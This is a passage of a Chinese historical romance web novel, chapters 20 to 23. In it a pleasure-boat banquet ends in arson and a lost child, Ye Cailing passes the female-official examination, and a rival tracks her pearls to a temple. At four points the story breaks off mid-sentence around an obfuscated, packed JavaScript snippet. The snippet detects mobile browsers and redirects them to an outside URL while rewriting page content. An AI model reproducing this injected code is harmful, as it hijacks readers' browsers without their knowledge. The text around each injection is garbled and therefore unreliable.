见宁玉楼欢欣着回厢房了，宁金鹤微笑着与叶采苓道：“这次小弟非要与我前来，又要嚷嚷着学经商，来了京城却是还没游玩过。” “等今日宴会了了，之后我带他游玩一番。” “宁公子真是好兄长。” 叶采苓道。 却听得丝竹之乐此刻变了个调子，忽地变得悠长清远起来，像是某种仪式的序章。 宁金鹤指指远处示意道：“已给你与谢兄留了好位置，接下来是展演今日压轴的几批丝缎。” “宁氏为此筹备许久，叶掌柜要去看看么？” * 叶采苓行去，却是没见到谢泓。 眼前歌台用了琉璃装饰，灯火映照下泛着莹莹的光彩，上面雕饰花枝与金果，一副繁茂精致的景象，一望便知主人家用心。 歌台之上，却是十几位着不同颜色服饰的年轻乐伶。有男有女，都有着一副好容色，身量纤长，明眸顾盼。此刻都立在一起，衣袂飘飘，却好似天上仙班。 有几人端着玉盘袅袅行至前头，让众宾客观赏。 众人见这情景，焉能不知此刻宁氏拿出的便是看家好料子，便一个两个地凑上去看。颜色却是极其少见的，排布在一起望着赏心悦目。 乐声一停，那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13464259|141822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 十几人却是又都停住脚步，转到台子后头了。 众人听到机关运转的声音，方见得那台子竟然遥遥地下降去，再升起来的时候，却是几位服色更为美丽的舞伶。 她们手臂上挽着蝉翼一般的纱，裙裾起落见能看到衣裳泛着明月一样的流光。 这才是宁氏宁绸。 众人带着赞叹的神色望着。 “我宁氏不止有宁绸。”宁金鹤在一旁温声注解道，“宁氏在姑苏的织坊，亦能生产许多新料子。近日新制的苎麻布料，正是……” 却听到急促的脚步声，先前随着宁金鹤在甲板上一道迎客的总管，一路狂奔至此，打断宁金鹤的话。 “何人如此莽撞？” 已有观礼的贵人们窃窃私语着，只觉得这人太不懂礼数。 总管却不答，只急切地对宁金鹤禀道：“主子，画舫，画舫下层走水了！” 总管甚至已经是镇定的了。 此刻庭中的众人已经有人觉察到不对的地方。空气中燃着的古茶香越来越浓，却逐渐变成焦苦的烟熏气息。 宁金鹤压低声音：“笑话，这是在水上，怎么会起火？” 却是在奔出正厅的时候结结实实地闻到了浓烟。 下层画舫木板不知何时浸透桐油，此刻见火就着。 明摆着有人要破坏这场宴席。 他冷静地返身回去欲安排众人离席，却猛地听到一声金属穿透木板的嗡鸣。 却见箭矢落到庭中，带着十足的力道，直直冲着庭中的众人而来。 舞女们惊声尖叫，连带着庭中达官贵人也慌乱起来。 有贵女轻轻抚摸了一下脸颊，却见衣袖上蹭了殷红的血，霎时喊出声来。 人们终于恍然，发出哭喊的声音，但此刻身处水上，任平日里身份再华贵，此时也是同样束手无策。 宁金鹤欲站出来稳定局势。 纵火与冷箭结合，摆明了要毁掉宁氏此番入京的期待。来者是为了宁氏。 此时急迫之下，他只得吩咐家仆去放下舫内小艇，又命人加速画舫靠岸的速度。 叶采苓随着人群推挤往外，却有许多膀大腰圆的富商让她几乎站不住脚。 眼见着快要涌出正厅，却被人狠狠地一推挤。 忽地感觉身上松快。 谢泓冷静地握住她腕子，另一只手护在她身前。眼睛却没有看她，只四处搜寻着什么。 片刻道：“小叶，跟我走这边。” 叶采苓毫不迟疑地随着他的脚步走。 “嘘，这边。” 谢泓猛然向旁边一闪，牢牢将叶采苓的身体带到他身后护住。 她跟随谢泓数年，却从未见过他此刻的情形。 像是全身肌肉都绷紧，此刻像晦暗灯火下敏捷的豹。 却听得旁边传来几声凌乱脚步，有两个用着陌生口音的夜行衣男子，此刻正大大咧咧地穿过这条通路，一路向远处行。 谢泓已经眯眼握紧了手里的匕首。 等等，他什么时候拿到的匕首？ 所幸这两人并没有发现他们的踪迹。直到确认安全，谢泓才示意叶采苓出来。 叶采苓只听到自己心跳砰砰的声音。 她一时间不知道说什么，眼神却是望去谢泓手里闪着寒光的匕首。谢泓顺着她眼神望去，却是轻笑：“少时学了防身用的。” 也不再多言，拉着叶采苓继续前行。 21. 第 21 章 行至一处舱室，果然见得七八艘小艇。 “宁金鹤此前与我聊过舫内布局，我便猜这里有存放物资。” 谢泓道。 直到上了小艇，叶采苓方觉得提起的心稍稍放了些。 两人互相扶持，此刻却是终于逃离背后火焰冲天的画舫。谢泓静静地望着身边水流，无声地叹了一口气，启唇道。 “此番宁氏欲入局京城，我见是无法实现。” 叶采苓只觉得喉头呛人的烟气还未散去。 想到今日所见盛景毁于一旦，却是有几分不忍，道： “我亦是如此想。只是宁氏确是做了万全准备。但若想入局京城这摊浑水，只靠明面上这些宴席却是差的远着。” 谢泓望她一眼，颔首道：“宁氏主事的人不会不懂这番道理。” 叶采苓低声：“……但大抵还是小瞧了京城势力行事之狠。” 她隐隐看到成长背后付出的代价。 当她见识到更多的东西，有了足够的能力去应对。却也见到更多游走在黑暗边界的人心。 湖面上吹来的风带着潮冷的水汽。 被救上岸的众人身上逐渐透起寒凉，谢泓遣府内的云白送了些御寒衣物，却是并未回府，而是还与叶采苓在岸边等。 他与宁金鹤有几分交情。 便等着与宁金鹤说来今日之景。 “今日舫中那些黑衣之人，我见不像是大周本地人。”谢泓对叶采苓说，语气沉肃：“此番宁氏意图入京，确实有人从中作梗。但我未能想到，此时却又添进一方来自异域的浑水。我听得那些人语气，却像是来自边塞，甘州一带。” “公子说的是，此事重要，应当与宁公子讲明。” 叶采苓应道，却是在往湖心张望。 那桐油之火燃烧得极其旺盛，不多时湖中的画舫顶端已冒着滚滚浓烟。幸存的众人纷纷涌上甲板一侧。 此时她见梁架在烈火中逐渐倾颓，楼阁窜出火苗，但所幸，画舫仍在逐渐靠岸。 直到临近岸边，忙有家仆抬着木板上前接应。 舫上众人都蜂拥在甲板上，挤挤挨挨地上了岸。只是随着画舫之上的贵人们逐渐走空，她的心却一点点沉下去。 已是挨个看了，岸上获救的人没有年纪小的。 只是为何那个小童，如今仍不见人影。 喜欢吃糖丝缠的，文绉绉讲话的宁玉楼。 今日认识的人里，她对宁玉楼印象最深——宁玉楼身为宁氏小公子，再怎么样也会被拼死营救，不是么？ 她不敢再想。 过了许久，方在岸边见得今日宴会主人。 宁金鹤草草披一件外袍，却再没有风华正茂的样子，此刻依旧极急切地站在岸边来回走着。 叶采苓顾不得仪态，几步奔过去，正要与他讲还未见他亲弟弟宁玉楼。 ——却正正撞进一双布满血丝的眼。 宁金鹤望见叶采苓急切模样，却是低声道。 “我知晓，我再等等，玉楼年纪尚小，怕是出来得要慢些。” “叶姑娘有心了。” 叶采苓霎时怔住，明白宁金鹤已然猜到了她的意思。 见他焦急情状，却也不忍再多言。 只道：“我们与你一道在此处等。” 过了许久，宁金鹤依旧愣着神，在江边站着。 还在等。 但画舫上已经空了。 谢泓走去低声与他道：“江上风凉。” 叶采苓不做声，递上一杯热茶。 “我弟弟还在里面睡着。”宁金鹤接过，抬头望见叶采苓。 他对叶采苓说，语气却是万分笃定：“我须得再等等，姑娘今日实在受惊，请先移步去那边休息吧。” 叶采苓望着他充满倦意却依旧坚定的眼。却是不忍再说出任何话。 “宁兄，保重。” 谢泓郑重地一拱手，低声对叶采苓道：“他需要时间。” 叶采苓一瞬间喉咙酸堵说不上话来。画舫着火后场面实在混乱，或许宁玉楼真的像宁金鹤所说的那样，只是落在人群后头，此刻暂未寻到兄长罢了。 她张了张口，只低声道。“是。我们走罢。” * 秋夜天空有星。 茶楼前厅，三三两两的举子仍在对饮闲谈，他们举杯，正是谈到快意之时。 后厅则是由曲折连廊连接，连廊建在水上，此刻夜晚的星子浮在水面，清净雅致。 和前庭的热闹喧嚣相比，仿佛不在同一处。 “怎会是倭寇流民？” 连廊之上，叶采苓站定，不可思议地望着谢泓。这茶楼是谢氏的一处产业，今日谢泓做东，是要给宁金鹤践行。 谢泓摇摇头，声音里有憾意。 “大理寺是这样定的。” 叶采苓眉目里满是不可思议。 京中出现恶性伤人案件，大理寺理应接手，只是今日放出的结论让人实在匪夷所思。 谢泓望着她。 她显然在凝神思考，此刻唇微微地抿着，没过多时道：“不对，那日我们见得的异域人士，公子说过应来自边塞一带。倭寇在东南沿海一带出没，怎会到京城。” “况且若真是倭寇烧船，不可能没有缘由。大理寺之外，尚有大鸿胪寺掌管外交往来，那边可否给出动机？” 谢泓道：“给了。只提得倭寇意图在鹤宴前夕，损害我大周声望。” 叶采苓沉吟。 “那日兵戈与冷箭——若未能见到那些异域人士，或许还能勉强站得住脚，但此番经历之后，我只觉得背后还有势力尚未露面。” “宣岑，你与叶掌柜谈何事呢？” 叶采苓猝然回头，却见一个熟悉的身影。当年江游跟着谢泓去了云州，近几年回到京城，却不再入仕。只当个闲散书生，开一家书阁。 江游道：“我见这新茶楼却是格调颇高，一望便知背后有高人。原来是叶掌柜，失敬失敬。” 叶采苓接手茶楼的经营有些时日，此刻倒也坦然受了这一句叶掌柜。 谢泓忽道：“游兄，金鹤兄，叫我一番好等。” 叶采苓听到那个名字，一瞬间怔然，却当下抬眼极急切地望向他后面。 是宁金鹤。 他遥遥地一拱手。 “宁某今日来迟了。” 他那日明明已经几乎支撑不住，像一具撕心裂肺之后残余的空壳。今日看着却镇定了许多，只有仔细看，方能察觉到眉眼间依旧笼着一份哀戚。 那些话本还在售着。 那小童喜欢学话本讲话，明明活泼乖巧，却总是故作老成。 他曾一迭声地唤他二哥……从此终无法再听得了。 几人会面，却都默契地不再谈那日宴席的惨剧。 “此后山长水阔，还有重逢的时日。” 临行时，宁金鹤沉声道。 叶采苓望着他，觉得明明依旧是那样年轻的一张脸，他身上却有些东西不同了。 谢泓道。 “来日方长。宁兄重回京城，我必接风洗尘。” 两人目光交织，彼此沉默，却心照不宣。 此番深仇血海，幕后黑手却是逐渐露出轮廓，他只等有连根拔起的一日。 * 再回茶楼，小厮机灵地过来替叶采苓接过外衫，口称叶掌柜。 茶楼此时正是热闹的时候，举子们以茶代酒，谈得热闹非凡。 “掌柜的，今日大公子那间设宴的小厅已经收拾妥当了。另外，有几位举子邀请您去前厅清谈。” 叶采苓有些倦意。这茶楼在京中已经打出名气，举子都知道此处广开言路，掌柜文采斐然，亦有时加入他们的谈话。 只道：“我知晓了。” 她缓缓行去前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13464260|141822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 厅，却见堂中清谈正是热烈。 前方立在众人之前的是一名女子。她亦做举子打扮，着素色圆领长袍，束着发。耳边却簪一对珊瑚耳铛，茜红圆润，是上等的海珊瑚。 叶采苓到前厅之时，她正低头翻着舆图，望着舆图道：“我大周北邻沙漠，塞外风霜，却是对兵士考验不小。” “那日倭寇进京，亦反映出京中疏于防卫。收回兵力集中护卫京师，也是对的。” 唤她年轻举子姓杨，杨举子是江东来的，性子外向。此刻见到叶采苓笑嘻嘻道：“叶掌柜，我为你找到个门路。” 向前示意了一下，笑道：“掌柜的您瞧，今日我为你引荐的人选便在此处了。” 又对着那女子笑道：“温女官，这便是我与你提过的，那位有心参与女官遴选的叶掌柜。” “莫要看她此时从商，叶掌柜于文墨一道确实是蕙质兰心。我望着若不是女子之身，与我们一同参加会试去，不见得谁赢呢。” 叶采苓却没来由地心下一紧。 望着此人身量，却很像一位故人。 那人扬起脸来。 脸上依旧带着笑。直到认出她是谁，笑容逐渐扩大。 语气有几分恰到好处的迟疑与亲近：“——莫不是云州的叶姑娘？” 叶采苓挂上笑脸，温声道：“没想到今日能得见温姑娘。” 杨举子道：“原来两位认识。” 温道盈只亲切道：“你我果然是有缘的，几千里路，今日还可以重逢。怎的到了京城来了？” “京城适宜营商，这茶楼能开起来，还要仰仗诸位的光。”叶采苓笑道。 温道盈颔首。 “我见你这茶楼，确实很是用了几番心思。只这逢十日固定的清谈之会，便很能吸引来人。” 她心里有几分遗憾，面上却是不显。 此番本想见见这位传言中蕙质兰心的掌柜，没想到却已经在谢泓手下做事。杨举子这种寻常举子自然不知道，她却是知道京城这些产业，背后的势力皆盘根错节。 本以为这茶楼是异军突起，此刻却也明白背后是谢氏的助力。 叶采苓心道，温道盈此番讲话却比从前圆滑不少，若是几年前，她总得先点出叶采苓过去的婢女身份，说不定还要借机刺上两句。 此时却一句不多言。讲话依旧得体。 送走温道盈，她便也写了消息，报到谢泓那里。 大周朝堂，两派朝官斗得焦灼。为首的段长明一派资历很深，几大世家都与他们很是亲近。尤其容氏，皇后与太子妃皆出自容氏，正是得意的时候。 亦有看不惯世家做派的文官，时不时上书抨击，奇的是，太子却也支持这种行为，反而不理会自己的枕边人。 大抵圣上是乐意看到这种局面的，派系倾轧，却能维护皇权平衡。便始终放任两派内斗。 如今先有画舫失火伤人，后有边塞战时吃紧。茶楼这一方天地，却是能收集到不少民间的言论。 只是，今日温道盈认出来她。 想必他们计划在茶楼收集民间言论的事情，也不再是秘密。 叶采苓看着信笺，默默地揉皱一张写废的纸。 明明在公事公办地给谢泓上报，心里却一直在想，原来温姑娘已经选上女官了。 女官三年一选，数量本就稀少。 女官是太后一力推行，若要像男子一样出将入相，还有很长的时日，且更多时候只起到通报消息的作用，但论身份，的确算是入朝为官。 自湖上那日，她脑子里便时常不受控地想起画舫火光里被痛苦灼烧的人影。 草菅人命大抵如此。 却为何总有人高高在上，视平民如草芥？ 若是选上女官，自己便也有了入局的身份。尚没有察觉到的时候，她已经攥紧了手心。 朝堂纷纭，要去参选，要去试着发出自己的声音。 22. 第 22 章 选拔之日与谢泓早朝之日撞上。 叶采苓坐了府内马车，只待自己前去。 却听到后面一声招呼。 江游与竹明笑嘻嘻地来了，上了另一辆马车。竹明坐到车辕位置，笑道：“叶姑娘走罢——今日我们两个来陪文曲星应试。” 叶采苓一愣神：“你们两个是有心的，可不会有些费事么？” “与你相识都许久了，叶姑娘怎的还如此客气。”竹明笑道。竹明跟着公子早些，却是亲眼见着这位叶姑娘从年纪尚小的时候便入府，不出几年便成为大公子身边的得力助手。 又兰心蕙质，公子吩咐什么一点就透。只是进京以来未曾赶上过女官选拔罢了。 叶采苓正要提着衣裾上马车，却蓦然心有灵犀般抬了眼。 远处，谢泓着绯色官袍已经走上自己的轿子，此刻只遥遥望着她。他手里持牙笏，此刻扬手挥了挥。 轻笑道：“等你执笏。” 明明距离不甚近，听不到他的声音，叶采苓却分明看明白了他的口型。 她笑着点点头。 熹微晨光下她走进试场。 执起笔的那一刻，尚不知道未来会有怎样的成败得失。 七日之后放榜。 放榜后会给通过的试子们发放证明身份的文牒，故有许多试子在文华阁外等着。文华阁是当日女官考学的地方，也是平日里女官们办公的地方。 直到阁外的铃音响了三次。 大门开启，出现一位容色沉稳的女官，着紫袍，身后还跟着两位侍女，手里平端着两个托盘。 有人认出这便是长公主身边最得力的李女官。也是本次遴选的主榜考官。 女官考试选出三十人，分甲乙丙三榜。 此时她从容地揭开手中丙榜榜纸的封印，开口道，语气沉着。 “大周十七年，女官遴选放榜。请榜上之人听到名字后，去阁内领取文牒。文牒是过几日宫中文琼宴的参与证明，诸位须得妥善保管。” “下面开始宣读。” “三十名，丙榜，林永宁。” 叶采苓一愣。 竟然是倒着放榜的么？ 如此看来，这位林永宁姑娘却是最后一名了。却见一位女子起身，衣着考究，满脸掩不住的笑意。周围人也都高声恭贺她。 “姑娘是第一次应试？”旁边一位着月白迭裙的女子望着她神色，好奇地问道。 叶采苓笑道：“是，左不过见这次放榜须得本人前来，且此榜却是次序有些不同，与举子榜恰巧相反。” 那女子道：“因曾经出过寒门女子被顶替之事，长公主与太后商议，便定出如此规矩。本人来领文牒，且当场放榜。” 叶采苓舒展眉目，道原来如此。 女子笑道：“我见你却是极为镇定，想必有个好名次。我上次已经来过，只是上次年岁尚小，并未选上呢。” 两人年龄相仿，此刻随意谈笑间，却是听得已经报完了丙榜。阁前的人群逐渐散去，因很多人知道自己的排名大约只能在丙乙榜，此刻见并未排上，已经叹息离去。 “……时秋心。” 叶采苓正在试图通过与旁边这位女子的闲谈，让自己不要过于惴惴不安。 却听到放榜的女官又点到一个名次。此刻的应答声却是来自身边瘦削女子的口中。 女子笑盈盈前去领了文牒，临行前不忘鼓励了叶采苓几句。 她便是时秋心么。 江游立在叶采苓一旁，一时间也有些慌乱。 “叶姑娘，刚刚报到多少名了？” 叶采苓低声道：“刚才那位秋心姑娘……已是甲榜第十名。” 眼前人群越来越少。所余席位，却是只剩九席。 * 日头移向中天。 谢泓容色镇定地下了朝，直至回谢府正厅换下朝服，靠在桌子旁斟了一盏茶，他方缓缓吐出一口浊气。 他低头望了一下手里那雕工精美的匣子，随手启开看了。 朝堂上容国舅的奉承还犹在耳边。 “这南洋宝珠得来，全仰赖圣上福泽，堇色正是天家气韵，献于圣上。” 哄得圣上龙颜大悦，一时间将容国舅所献的宝物点校后分发给朝臣。此时这匣内所放八颗宝珠，正是颗颗珠径一致。日光下竟然有流转的堇紫光泽，望着比寻常珍珠细腻许多，贵气无瑕。 他随意地拈了一颗看了看，眸中却看不出喜恶，只将匣子轻轻合拢，放在几案一旁。 只因这宝珠得来的过程并不算愉快。 不多时云白进来汇报，他点点头。 谢泓正沉思，却听得外面传来女子的声音。 叶采苓轻快地进来，对谢泓福了一福。她小脸泛着粉，此刻眼里亮晶晶地，只望着谢泓，含着笑意却不开口。 身后却见江游打帘进来，笑道：“大公子身边果然人才济济，小的实在佩服。” 竹明驾车马送叶采苓与江游回来，此刻也一团喜气地笑着，立在一旁。 谢泓望着这些熟稔之人，方才在朝堂上寒下来的心却是缓和了几分。 只温声道：“说罢，又有何事？” 心里已经有了几分揣测，眉目微扬，只望着叶采苓。 叶采苓眼里满是期待，只笑道：“今日放榜。我便是去看榜纸了，公子可知道今日成绩？” 谢泓见她情态，却是心下笃定。 “定然高中。” 叶采苓眨眨眼，只道：“若是公子猜错了呢？” 谢泓微笑，却是不答。 云白刚刚报完消息，在一旁只笑道：“公子与驿站相熟，早些时辰已遣人去问过。虽不知道成绩，但已经知晓——送巾服的地点有我们府。” 叶采苓一愣：“送巾服？还有这流程么？” 云白笑道：“选拔上的女官便会得一套巾服。与进士巾服相似，有笏板并罗袍一套。由礼部遣人依次送来。” “你倒是比我熟悉这流程。我先前忙于应试，却都没仔细打问。”叶采苓笑道。 “大公子挂念，怕姑娘忘记，故遣小的提前问过一遍的。”云白道。 却听得已有小厮传礼部司务上门。礼部司务约莫四五十岁，留着短须，很干练的模样。 叶采苓抿着唇迎上去，刻意压了压脚步，以图显得沉稳。 谢泓望着她的背影。 他记忆里叶采苓年岁尚小，唯有一双灵醒的眼睛印在他心上。但此刻她刻意压了步伐，缓步走去领那份应得的赏赐，旋裙裙裾微微摆动——却有些少女抽条成长的模样。 却惊觉面前的人已经是个及笄的女儿家了。 甚至已经可以与他同朝为官，却不用再依靠他的遮蔽，一时百感交集。 此刻恰是叶采苓转身，取了礼部司务送来的巾服，却是掩不住唇角的笑意。 “好啦，既然你们都知晓，那我便说今日排名了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13464261|141822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叶采苓道：“甲榜，七名。” 大周朝女官制度由太后一力推行，此时尚是起步。甲乙丙三榜，只要上榜者便会获封女官。其中以甲榜为上，可以入朝觐见圣上。 她本担心今日铩羽而归。谁曾想直接上了甲榜——此刻正是心情极佳的时候。 谢泓亦笑道。 “甚好，果然高中。” 见叶采苓并未接话，又道：“旁的人以为这名次十人中第七，并不显得过前，但我望着这甲榜之上，多的是家学渊源，自幼请了先生的。” “像这两家，林氏、王氏，都是族学底蕴厚重，不知学了多少年。” “我见以你进步之速，若是这次没选上，只怕下一次再考便能夺魁了。” 叶采苓只笑。 江游在旁边一撩袍摆坐下，也笑道：“罢了，那还是此次选上最好。小叶你选上女官，日后可要记得替你家大公子在朝堂之上说说好话。” 谢泓深吸一口气，又想起今日之事，那方才因叶采苓选上女官的笑意却又隐去了。 此刻却是正色道。 “罢了。今日早朝又是与段首辅那些人隐隐斗气。” 叶采苓摇摇头，温声道：“大公子今日可有什么新鲜事？” 谢泓饮一口茶，却道。 “来，下棋。” 棋具是常备着的，不多时便摆放妥当。江游输了一局，观望对面的谢泓含着笑意，棋风却凌厉果决，心道今日果然是有什么烦忧之事。 见谢泓又要下到第二局之时，忙起身讨饶，只唤叶采苓替他。 他早发现谢泓对叶采苓不一般。 谢泓对他们这些友人讲话，其实有些时候是很不客气的。 但对着小叶，谢泓估计自己都没有发觉，却有的时候温和得让江游心里都直泛嘀咕。 叶采苓自然不会察觉江游此刻心里的小九九，只道：“我棋艺不精，只怕被杀的片甲不留。” 江游却笑道：“你只管下，输了怨你们大公子去。只怕大公子也不舍得让你输。” 叶采苓正色道：“江兄莫调笑。” “大公子为人清正，令人敬仰。若我输棋，也是理所当然。” 江游一愣，心道这两个人看脸都是极出挑的，感情上却一个赛一个的迟钝。明明两人对对方都是很有些不一样，却都察觉不来。 谢泓却忽地有些不满，只道：“下棋。” 此时棋盘上白子已经绵延成一线。叶采苓接手的是黑子，沉吟片刻却走了一步稳棋。 黑子二路跳。 谢泓：“哦？选这里？” 叶采苓道：“公子讲过下棋的要诀，其中一诀便叫做，动须相应。” “二路跳守住实地，虽然位置略低，但能确保黑子在棋盘之缘和靠近边缘的区域，占据一定的地盘。” 这话显然却是对了谢泓之意。此局下完，他却是收了棋盘。 先把那匣珠子打开给两人看了。 匣子打开的时候正是日头明亮之时，一时间宝光生辉，显得极其华贵。叶采苓江游都未曾见过这种品质的珍珠，都是连连赞叹。 谢泓却目光平静无波，只讲来今日早朝得来这宝珠的场景。 今日朝堂又是不平。 前些日子画舫着火的案子刚被大理寺推到倭寇头上。今日东南总督上报，确有倭寇骚扰沿海居民的消息，段首辅却只道临近瑞鹤宴，要为圣上分忧。 只轻描淡写揭过。 23. 第 23 章 江游道：“此时却不再追究画舫着火案了。” 语气里有几分意味深长。 “容国舅他是近日去南海督查没错，但他一味集人力于南海开采资源，沿海之民的安全却无人管理，迟早酿成大祸。” 谢泓眉目间笼着沉沉忧色，只一声叹息。 “只是如此浅显的道理，却始终无人报于上听——今日我见东南的陈参事未能忍住，与任丘在朝堂上争论。圣上脸色却是极不好看。” 却靠容国舅献上南海得来的珍宝，一味报喜，哄得圣上极为开怀。又是当场将那些南海珍宝留了一些，其余分发了。 朝堂诸位官吏皆有份例。 他们内阁诸人，一人分得一匣子南洋珠。 “公子，谋定而后动。”叶采苓听明白局势，只温声道。 “官官相护本是常态，但依然有陈参事这样的官员敢于讲话。我见段首辅那里也并非铁板一块，若是分化，亦需要时日。” 这大周官场人人皆有派系，但派系与派系之间亦有区分。当场的争辩不会有意义，但逐渐潜移默化，却会有改变的一日。 “你看得亦无错处。”谢泓听明白她的意思，只道。 送走两人，此时谢泓心里方觉得有几分松快。 他眸光瞥到桌上的那只匣子。 她很喜欢这宝珠么？ 因得方才叶采苓的惊叹却不似作伪。 叶采苓自云州就跟着他，那时年纪尚小，一向展现的是不喜瑰丽珠玉的模样。但他见叶采苓身量也已逐渐抽条，或许也已经到了喜欢这些物事的年纪呢。 若是把这南洋珠给她，她会很高兴吧。 但今日这南洋珠虽然品质是华贵，但来路却是让人不喜。 思虑片刻，他唤竹明过来。 竹明领命而去。 天色晚些的时候，竹明前来，将手中的匣子交给叶采苓，只道是大公子赏的，说叶姑娘选上女官须得庆祝。 烛光下叶采苓望着这匣子里的珠子，一时间移不开眼。 “这是——南洋珠？” 竹明笑道：“姑娘且细瞧。” 等竹明离开了，她翻来覆去地看着这珠子，越看越觉得精致欢喜。心里明白大公子给的果然都是佳品。 一时间又不知道如何放置，左右觉得这珠子如此贵重，若是直接收起来，却是有些埋没。 又想到京郊妙法寺，传闻佛法灵验，香客众多。 便打算趁休沐日，便带着这珠子去加持。 * 妙法寺在京郊屏山山脚。 今日竹明与云白亦休沐，便乘了马车一道前行。 到了山脚，叶采苓只笑道：“我见这山路蜿蜒，不如你们要歇息片刻，我自己上去望望便是。” 实则觉得自己的这份心思不足与外人道。 竹明早听说屏山山脚适合钓溪鱼，此刻却是已经备好了物事，闻言笑道：“叶姑娘放心去，我们在此游逛，回头钓上些鱼给厨子。” 原来谢府马车后头放了不少钓鱼的饵料与竿子。 这也算是出公差了，大公子爱吃溪鱼，此番听得他们几个要出行，痛快地让他们带了府内钓鱼的物件。 叶采苓见他们两个摩拳擦掌的模样，早猜到要做什么，只笑道：“如此便最好。” 她挽着包袱上山去。 一路上香客信众络绎不绝，她能闻到空气中越来越浓厚的香火气息，混合在山间清凉的晨雾里，让人心里也逐渐静下来。 路上有摆摊吆喝的香火摊子，她问明了价格，亦是持了三注香，行至佛前虔敬地上了。 上完香，转头见附近正立着一位僧人，披藤褐色缦衣，看着身份不低。 他此刻正对着香客解释着什么。 叶采苓前去问询，“敢问师父，若是想要为法物加持，要去何处？” “加持需要先供盘香。盘香有份量之分，所需香火钱也是不同。” 僧人先前为那两个身戴金玉的香客讲解，语气极好。到了叶采苓这里，却是很冷淡，又随意讲了盘香价格。 叶采苓一怔，却是没有想到对方讲话如此直白。 她上次见僧众，还是年少时在谢府浴佛节上。那些僧人只为浴佛前来，自然不会提及供香之说。 不过想来也是，一处有一处的规矩。 她便温声问道需要如何供香。 此刻有小沙弥跑来，对僧人道：“那位贵客来了——” 僧人便随意地道：“你去那边寻人问问。” 话像是对着叶采苓说的，人却是头也不回地走了。 叶采苓心道此人却是怪，另寻了一位小沙弥，则是热心地告诉她如何供盘香。 “供完盘香之后，姑娘可以将开光之物给予小僧。我们拿去诵经。” 叶采苓点头称是。 她转过去的一瞬，却是与温道盈擦肩而过。 叶采苓并未注意到，而温道盈失望地咬了一下嘴唇。 温道盈今日本不打算来妙法寺。 出京采风路上，未曾想到在京郊见到谢府马车。 她以为那位探花郎在，寻了个由头上去搭话，却只有两个长随在快活地钓鱼。 长随只道：“公子去了哪里？我们不清楚。只是其他人都上山礼佛去了。” 她便登了山，前来寺内，却没见到谢泓，只是又见到不喜之人。 谢泓对叶采苓的偏爱，已经足够明显，此人明明早该知晓，却一直一副不甚明了的模样。 如今她又选上女官，虽然资历尚不够与自己平起平坐——但她原来可不是什么贵女。 小小婢女，竟然也配。 温道盈寒着一张脸。 僧人见得多了，只佯装未曾见到，问道：“温贵女今日还供盘香么？前几日的海灯与金花都已经供上了。” “贵女铸福于心，我佛慈悲，亦能有所感应。” 这话却是又在暗示她供奉，温道盈道：“今日本无意来，只是凑巧。罢了，便再供上十盏海灯。” 僧人眉开眼笑。便引着温道盈向供奉的大殿去。 只道：“今日香客都在法华殿，您身份尊贵，自然是不用与他们一同。 温道盈却想起今日叶采苓，忽地道：“倒是——你有无见到一名女子，着旋裙，簪八宝琉璃步摇的。” “确实见到此人，问询过我如何给法物加持。怎的，贵人寻她有事？” 僧人一愣。 “她来此处，发下何愿？”温道盈问。 “小僧却是不知，只因这姑娘并未仔细与我讲……” 温道盈眼睛看过去，眸光一闪。 “你再思虑一下？” 僧人当即改口：“小僧是不知，但今日法华殿加持的沙弥肯定知晓，我这就给姑娘问去。” 不多时，一个身量不高的小沙弥过来，一脸茫然，只问道：“居士，唤我何事？” 僧人紧了紧身上的缦衣，冷声道：“刚刚做了法事，有无见一位给珠串开光的女子？她有无说什么？”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13464262|141822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 又描述过叶采苓衣着长相。 小沙弥一愣：“见是见过的，只是她只给了加持的法物，法物都在托盘里，小的只管诵经。” 妙法寺信众众多，除非是达官贵人前来，余下的物品却是并不会单独开光。 此刻正在殿内存放。 僧人心道这样的回答只是糊弄不过去。又遣了小沙弥把叶采苓加持的法物拿过来。 温道盈随意地拿来看了。 她加持的原是一匣子珠子？ 这匣子是极其精美，看着只能是宫里的东西。启开看却被里面的宝光惊到。 叶采苓她婢女出身，怎么有这么华丽的物品？ 